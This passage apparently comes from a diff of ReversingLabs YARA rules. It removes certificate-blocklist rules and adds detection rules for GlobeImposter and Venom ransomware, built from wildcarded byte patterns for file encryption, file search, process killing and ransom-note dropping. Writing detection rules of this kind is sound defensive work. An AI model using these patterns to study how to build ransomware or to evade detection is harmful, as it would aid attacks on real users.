2B C7 03 C2 3D ?? ?? ?? ?? 0F 83 ?? ?? ?? ?? 6A ?? 6A ?? 8D 4D ?? 51 E8 ?? ?? + ?? ?? 83 C4 ?? 8B C3 8D 50 ?? 8A 08 40 84 C9 75 ?? 2B C2 83 F8 ?? 76 ?? B8 ?? ?? ?? + ?? EB ?? 8B C3 8D 50 ?? 8D 64 24 ?? 8A 08 40 84 C9 75 ?? 2B C2 50 53 8D 55 ?? 52 E8 + } + $find_files_p2 = { + 83 C4 ?? 33 FF 8D 45 ?? 8D 50 ?? 90 8A 08 40 84 C9 75 ?? 2B C2 74 ?? EB ?? 8D 49 ?? + 0F BE 44 3D ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 88 44 3D ?? 47 8D 45 ?? 8D 50 ?? 8D A4 24 + ?? ?? ?? ?? 8A 08 40 84 C9 75 ?? 2B C2 3B F8 72 ?? 8D 4D ?? 51 68 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8A 10 3A + 11 75 ?? 84 D2 74 ?? 8A 50 ?? 3A 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 84 D2 75 ?? 33 C0 EB + ?? 1B C0 83 D8 ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 8D 95 ?? ?? ?? ?? 52 + E8 ?? ?? ?? ?? 83 C4 ?? 8B C6 8D 50 ?? 8D A4 24 ?? ?? ?? ?? 8A 08 40 84 C9 75 ?? 2B + C2 80 7C 30 ?? ?? 74 ?? 8B C6 8D 50 ?? 8A 08 40 84 C9 75 ?? 2B C2 80 7C 30 ?? ?? 74 + ?? 8D 85 ?? ?? ?? ?? 50 56 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 EB ?? 8D 95 ?? ?? ?? + ?? 52 56 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? + ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 50 E8 + ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 6A ?? 8B BD ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 + ?? 68 ?? ?? ?? ?? 6A ?? 8B 9D ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 53 57 8B 55 ?? + 52 8D BD ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? + E9 ?? ?? ?? ?? B8 ?? ?? ?? ?? C3 8B 65 ?? C7 45 ?? ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? E9 + ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B C6 8D 50 ?? 8B FF + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "YNK JAPAN Inc" and pe.signatures [ i ] . serial == "67:24:34:0d:db:c7:25:2f:7f:b7:14:b8:12:a5:c0:4d" and 1306195199 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( all of ( $drop_ransom_note_p* ) ) and ( all of ( $find_files_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_0813Ee9B7B9D7C46001D6Bc8784Df1Dd : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Globeimposter : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects GlobeImposter ransomware." author = "ReversingLabs" - id = "0915fae0-ac6f-5a92-ab44-80f840fd5061" - date = "2020-08-05" - modified = "2023-11-08" + id = "6634a554-b4bb-503d-a4f1-9997b4caa1f0" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L729-L745" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.GlobeImposter.yara#L1-L171" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "1a25a2f25fa8d5075113cbafb73e80e741268d6b2f9e629fd54ffca9e82409b0" + logic_hash = "4345a767f270428f3b509fdad5a96bf9b494b190d3a836c4bf53dfd75da5bacb" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "GlobeImposter" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Les Garcons s'habillent" and pe.signatures [ i ] . serial == "08:13:ee:9b:7b:9d:7c:46:00:1d:6b:c8:78:4d:f1:dd" and 1334707199 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_530591C61B5E1212F659138B7Cea0A97 : INFO FILE -{ - meta: - description = "Certificate used for digitally signing malware." - author = "ReversingLabs" - id = "71cf0653-5aab-5d5c-aa3a-f42f40196412" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L747-L763" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "0ef01e542d145475713bbd373bdcdae5f25bfd823a60e7d40fe9a6b6039c83e0" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $encrypt_files_1 = { + 81 EC ?? ?? ?? ?? 83 24 24 ?? 6A ?? FF B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8D 44 24 + ?? 50 E8 ?? ?? ?? ?? 8D 04 24 50 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 53 8B 1D ?? + ?? ?? ?? 55 56 57 8B 3D ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 8D 44 24 ?? 50 E8 ?? ?? + ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B F0 8D 84 24 ?? ?? ?? ?? 68 ?? ?? + ?? ?? 50 89 74 24 ?? FF D3 8D 44 24 ?? 50 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? + 8B E8 83 FD ?? 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D7 85 C0 0F 84 ?? + ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D7 85 C0 0F 84 ?? ?? ?? ?? 33 C0 66 89 84 + 74 ?? ?? ?? ?? 8D 44 24 ?? 50 8D 84 24 ?? ?? ?? ?? 50 FF D3 6A ?? 8D 44 24 ?? 50 E8 + ?? ?? ?? ?? F6 44 24 ?? ?? 8B F0 74 ?? 6A ?? 56 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? + ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D3 8D 84 24 ?? ?? ?? ?? 50 8D 44 24 ?? + 50 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 6A ?? 56 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 68 + ?? ?? ?? ?? 8D 44 24 ?? 50 FF D7 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? + 50 FF D7 85 C0 0F 84 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 50 8D 44 24 ?? + 50 FF D7 85 C0 0F 84 ?? ?? ?? ?? 8B 44 24 ?? A8 ?? 74 ?? 83 E0 ?? 50 8D 84 24 ?? ?? + ?? ?? 50 FF 15 ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? 6A ?? 56 E8 ?? ?? ?? ?? 50 FF B4 24 + ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 85 C0 75 ?? 8D 84 24 ?? ?? ?? ?? + 50 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? + 50 FF D3 6A ?? 8D 84 24 ?? ?? ?? ?? 50 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D + 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 8B 74 24 ?? 59 8D 44 24 ?? 50 + 55 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 55 FF 15 ?? ?? ?? ?? 8D 44 24 ?? 50 E8 + ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 5F 5E 5D 5B 81 C4 ?? ?? ?? ?? C2 + } + $search_files_1 = { + 55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? + ?? 8B F8 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B D8 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 33 F6 + 8D 85 ?? ?? ?? ?? 56 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 DB 74 ?? F6 C3 ?? 74 ?? 8D 85 ?? + ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 F8 ?? 74 ?? 83 F8 ?? 74 ?? 83 F8 ?? 75 ?? 6A ?? 6A + ?? C6 85 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 89 + 04 B7 51 50 FF 15 ?? ?? ?? ?? 46 FE 85 ?? ?? ?? ?? D1 EB 75 ?? EB ?? 68 ?? ?? ?? ?? + FF 34 B7 FF 15 ?? ?? ?? ?? 85 C0 74 + } + $encrypt_files_2 = { + B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 24 24 ?? 53 55 56 57 E8 ?? ?? ?? ?? 8B D0 8D 4C 24 + ?? E8 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 1D ?? ?? ?? + ?? 8B 35 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 8D 84 24 ?? ?? + ?? ?? 50 FF 15 ?? ?? ?? ?? 8B F8 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 89 7C 24 ?? + FF D3 8D 44 24 ?? 50 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B E8 83 FD ?? 0F 84 + ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? + ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 33 C0 66 89 84 7C ?? ?? ?? ?? 8D 44 + 24 ?? 50 8D 84 24 ?? ?? ?? ?? 50 FF D3 8D 4C 24 ?? E8 ?? ?? ?? ?? 8B F8 33 D2 F6 44 + 24 ?? ?? 8B CF 74 ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 + ?? ?? ?? ?? 50 FF D3 8D 94 24 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? + 42 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 + 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? + ?? ?? ?? FF 15 ?? ?? ?? ?? 50 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 8B 44 24 + ?? A8 ?? 74 ?? 83 E0 ?? 50 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 51 6A ?? 5A 8B + CF E8 ?? ?? ?? ?? 50 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 8D 84 24 ?? ?? + ?? ?? 50 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 8D 84 24 ?? ?? + ?? ?? 50 FF D3 6A ?? 8D 84 24 ?? ?? ?? ?? 50 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? + ?? 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 8B 7C 24 ?? 59 8D 44 24 ?? + 50 55 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 55 FF 15 ?? ?? ?? ?? 8D 4C 24 ?? E8 + ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 5F 5E 5D 5B 81 C4 ?? ?? ?? ?? C2 + } + $kill_specific_processes_2 = { + 81 EC ?? ?? ?? ?? 56 57 6A ?? 5E 56 8D 44 24 ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 + 74 24 ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 8B F8 83 FF ?? 0F 84 ?? ?? ?? ?? 8D 84 24 ?? + ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 53 55 BE ?? ?? ?? + ?? 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D8 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? + ?? 8B E8 33 D2 85 ED 7E ?? 0F BE 0C 1A E8 ?? ?? ?? ?? 88 04 1A 42 3B D5 7C ?? FF 36 + 53 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 83 C6 ?? 81 FE ?? ?? ?? ?? 7C ?? 85 C0 74 ?? 33 DB + 53 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 50 FF 15 ?? ?? ?? ?? FF B4 + 24 ?? ?? ?? ?? 8B F0 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 68 ?? + ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 56 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 8D 44 24 ?? 50 8D + 44 24 ?? 50 53 53 68 ?? ?? ?? ?? 53 53 53 8D 84 24 ?? ?? ?? ?? 50 53 FF 15 ?? ?? ?? + ?? 8D 84 24 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 57 FF 15 ?? + ?? ?? ?? 5D 5B 5F 5E 81 C4 ?? ?? ?? ?? C2 + } + $kill_specific_processes_1 = { + 81 EC ?? ?? ?? ?? 55 56 57 6A ?? 5E 56 33 ED 8D 44 24 ?? 55 50 E8 ?? ?? ?? ?? 83 C4 + ?? 89 74 24 ?? 55 6A ?? E8 ?? ?? ?? ?? 8B F8 89 7C 24 ?? 83 FF ?? 0F 84 ?? ?? ?? ?? + 53 8D 84 24 ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 50 57 E8 ?? ?? ?? ?? 8B 5C + 24 ?? 83 BC 24 ?? ?? ?? ?? ?? 8B F5 7E ?? 55 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? + 8B E8 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 33 DB 89 44 24 ?? 85 C0 7E ?? 8B F8 + 0F BE 0C 2B 51 E8 ?? ?? ?? ?? 88 04 2B 43 3B DF 7C ?? 8B 84 24 ?? ?? ?? ?? FF 34 B0 + 55 FF 15 ?? ?? ?? ?? 8B D8 85 DB 75 ?? 46 50 5D 3B B4 24 ?? ?? ?? ?? 7C ?? 8B 7C 24 + ?? 33 ED 85 DB 74 ?? 55 68 ?? ?? ?? ?? 55 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 55 50 FF + 15 ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? 8B F0 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 83 C4 + ?? 8D 44 24 ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 56 8D 44 24 ?? 50 FF 15 ?? ?? ?? + ?? 8D 44 24 ?? 50 8D 44 24 ?? 50 55 55 68 ?? ?? ?? ?? 55 55 55 8D 84 24 ?? ?? ?? ?? + 50 55 FF 15 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 57 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? + ?? ?? 57 FF 15 ?? ?? ?? ?? 5B 5F 5E 5D 81 C4 ?? ?? ?? ?? C2 + } + $encrypt_files_3 = { + 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D7 85 C0 0F 84 ?? ?? ?? ?? 33 C0 66 89 84 74 ?? ?? + ?? ?? 8D 44 24 ?? 50 8D 84 24 ?? ?? ?? ?? 50 FF D3 6A ?? 8D 44 24 ?? 50 E8 ?? ?? ?? + ?? F6 44 24 ?? ?? 8B F0 74 ?? 6A ?? 56 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? + ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D3 8D 84 24 ?? ?? ?? ?? 50 8D 44 24 ?? 50 E8 ?? + ?? ?? ?? E9 ?? ?? ?? ?? 6A ?? 56 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? + ?? 8D 44 24 ?? 50 FF D7 85 C0 0F 84 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 8D 44 24 ?? 50 FF + D7 85 C0 0F 84 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 50 8D 44 24 ?? 50 FF + D7 85 C0 0F 84 ?? ?? ?? ?? 8B 44 24 ?? A8 ?? 74 ?? 83 E0 ?? 50 8D 84 24 ?? ?? ?? ?? + 50 FF 15 ?? ?? ?? ?? FF 74 24 ?? 6A ?? 56 E8 ?? ?? ?? ?? 50 FF 74 24 ?? 8D 84 24 ?? + ?? ?? ?? 50 E8 ?? ?? ?? ?? 85 C0 75 ?? 8D 84 24 ?? ?? ?? ?? 50 8D 84 24 ?? ?? ?? ?? + 50 FF 15 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D3 6A ?? 8D 84 24 + ?? ?? ?? ?? 50 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 E8 + ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 8B 74 24 ?? 59 8D 44 24 ?? 50 55 FF 15 + } + $search_files_2 = { + 53 55 56 57 8B 3D ?? ?? ?? ?? 6A ?? 6A ?? FF D7 50 FF 15 ?? ?? ?? ?? 8B E8 FF 15 ?? + ?? ?? ?? 68 ?? ?? ?? ?? 8B D8 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 33 F6 8D 84 24 ?? ?? + ?? ?? 56 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 DB 74 ?? F6 C3 ?? 74 ?? 8D 84 24 ?? ?? ?? ?? + 50 FF 15 ?? ?? ?? ?? 83 F8 ?? 74 ?? 83 F8 ?? 74 ?? 83 F8 ?? 75 ?? 6A ?? 6A ?? C6 84 + 24 ?? ?? ?? ?? ?? FF D7 50 FF 15 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 89 44 B5 ?? 51 50 + FF 15 ?? ?? ?? ?? 46 FE 84 24 ?? ?? ?? ?? D1 EB 75 ?? 33 FF 85 F6 7E ?? 8B 9C 24 ?? + ?? ?? ?? 8D 44 24 ?? 2B E8 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 8C + 24 ?? ?? ?? ?? 89 48 ?? 8D 0C BD ?? ?? ?? ?? 03 CD 89 58 ?? 8B 4C 0C ?? 89 08 33 C9 + 51 51 50 68 ?? ?? ?? ?? 51 51 FF 15 ?? ?? ?? ?? 89 44 BC ?? 47 3B FE 7C ?? 6A ?? 6A + ?? 8D 44 24 ?? 50 56 FF 15 + } + $kill_specific_processes_3 = { + E8 ?? ?? ?? ?? 83 C4 ?? 89 74 24 ?? 55 6A ?? E8 ?? ?? ?? ?? 8B F8 89 7C 24 ?? 83 FF + ?? 0F 84 ?? ?? ?? ?? 53 8D 84 24 ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 50 57 + E8 ?? ?? ?? ?? 8B 5C 24 ?? 83 BC 24 ?? ?? ?? ?? ?? 8B F5 7E ?? 55 8D 84 24 ?? ?? ?? + ?? 50 E8 ?? ?? ?? ?? 8B E8 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 33 DB 89 44 24 + ?? 85 C0 7E ?? 8B F8 0F BE 0C 2B 51 E8 ?? ?? ?? ?? 88 04 2B 43 3B DF 7C ?? 8B 84 24 + ?? ?? ?? ?? FF 34 B0 55 FF 15 ?? ?? ?? ?? 8B D8 85 DB 75 ?? 46 50 5D 3B B4 24 ?? ?? + ?? ?? 7C ?? 8B 7C 24 ?? 33 ED 85 DB 74 ?? 55 68 ?? ?? ?? ?? 55 FF 15 ?? ?? ?? ?? 68 + ?? ?? ?? ?? 55 50 FF 15 ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? 8B F0 68 ?? ?? ?? ?? 56 FF + 15 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 56 8D 44 24 + ?? 50 FF 15 ?? ?? ?? ?? 8D 44 24 ?? 50 8D 44 24 ?? 50 55 55 68 ?? ?? ?? ?? 55 55 55 + 8D 84 24 ?? ?? ?? ?? 50 55 FF 15 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 57 E8 ?? ?? ?? + ?? 85 C0 0F 85 ?? ?? ?? ?? 57 FF 15 + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "\\xE6\\x97\\xA5\\xE7\\x85\\xA7\\xE5\\xB3\\xB0\\xE5\\xB7\\x9D\\xE5\\x9B\\xBD\\xE9\\x99\\x85\\xE7\\x9F\\xBF\\xE4\\xB8\\x9A\\xE8\\xB4\\xB8\\xE6\\x98\\x93\\xE6\\x9C\\x89\\xE9\\x99\\x90\\xE5\\x85\\xAC\\xE5\\x8F\\xB8" and pe.signatures [ i ] . serial == "53:05:91:c6:1b:5e:12:12:f6:59:13:8b:7c:ea:0a:97" and 1403654399 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( ( $search_files_1 and $encrypt_files_1 and $kill_specific_processes_1 ) or ( $search_files_1 and $encrypt_files_2 and $kill_specific_processes_2 ) or ( $search_files_2 and $encrypt_files_3 and $kill_specific_processes_3 ) ) } - -rule REVERSINGLABS_Cert_Blocklist_07270Ff9 : INFO FILE +rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Venom : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "The digital certificate has leaked." + description = "Yara rule that detects Venom ransomware." author = "ReversingLabs" - id = "fcd2d82a-b51d-53ff-bfae-3c83147c1903" - date = "2020-08-05" - modified = "2023-11-08" + id = "72149ec2-888e-5bed-baf1-0ec44e48328e" + date = "2022-06-06" + modified = "2022-06-06" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L765-L781" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/ByteCode.MSIL.Ransomware.Venom.yara#L1-L68" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "8f0da7c330464184fa1d5bf8d51dd8ad2e8637710a36972dcab03629cb57e910" + logic_hash = "5817ece6a1cc304835f7fc243c4cfdc3c7cacd2251a9ac294a6662b58d2552e8" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Venom" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "DigiNotar Cyber CA" and pe.signatures [ i ] . serial == "07:27:0f:f9" and 1308182400 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_0727100D : INFO FILE -{ - meta: - description = "The digital certificate has leaked." - author = "ReversingLabs" - id = "1ee866ec-a445-5a79-b824-37f28a49f20b" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L783-L799" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "a09f4004ed002b90d67a3baddde74832e6c7b70e8b330347ef169460750aa344" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $setup_env = { + 00 28 ?? ?? ?? ?? 0A 73 ?? ?? ?? ?? 0B 07 1F ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 07 1B + 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 07 1F ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 07 1F ?? 28 + ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 07 1F ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 00 07 6F ?? ?? + ?? ?? 13 ?? 2B ?? 12 ?? 28 ?? ?? ?? ?? 13 ?? 00 06 11 ?? 28 ?? ?? ?? ?? 00 00 12 ?? 28 + ?? ?? ?? ?? 2D ?? DE ?? 12 ?? FE 16 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 DC 72 ?? ?? ?? ?? 1F + ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 72 ?? ?? ?? ?? 1F ?? + 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 1F ?? 28 ?? ?? ?? ?? 72 + ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 72 ?? ?? ?? ?? 1F ?? 28 ?? ?? ?? ?? 72 ?? + ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 20 ?? ?? ?? ?? 8D ?? ?? ?? ?? 25 D0 ?? ?? ?? + ?? 28 ?? ?? ?? ?? 0C 72 ?? ?? ?? ?? 20 ?? ?? ?? ?? 19 7E ?? ?? ?? ?? 19 16 7E ?? ?? ?? + ?? 28 ?? ?? ?? ?? 0D 09 08 20 ?? ?? ?? ?? 12 ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 17 28 + ?? ?? ?? ?? 00 2A + } + $find_files = { + 00 00 00 03 28 ?? ?? ?? ?? 0A 16 0B 2B ?? 06 07 9A 0C 00 00 08 72 ?? ?? ?? ?? 6F ?? ?? + ?? ?? 16 FE 01 0D 09 2C ?? 00 08 02 28 ?? ?? ?? ?? 00 00 00 DE ?? 26 00 00 DE ?? 00 07 + 17 58 0B 07 06 8E 69 32 ?? 00 03 28 ?? ?? ?? ?? 13 ?? 16 13 ?? 2B ?? 11 ?? 11 ?? 9A 13 + ?? 00 11 ?? 02 28 ?? ?? ?? ?? 00 00 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 32 ?? 00 DE ?? + 26 00 00 DE ?? 2A + } + $encrypt_files = { + 00 28 ?? ?? ?? ?? 0A 28 ?? ?? ?? ?? 03 6F ?? ?? ?? ?? 0B 02 72 ?? ?? ?? ?? 28 ?? ?? ?? + ?? 18 73 ?? ?? ?? ?? 0C 73 ?? ?? ?? ?? 0D 09 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 09 20 ?? + ?? ?? ?? 6F ?? ?? ?? ?? 00 09 18 6F ?? ?? ?? ?? 00 07 06 20 ?? ?? ?? 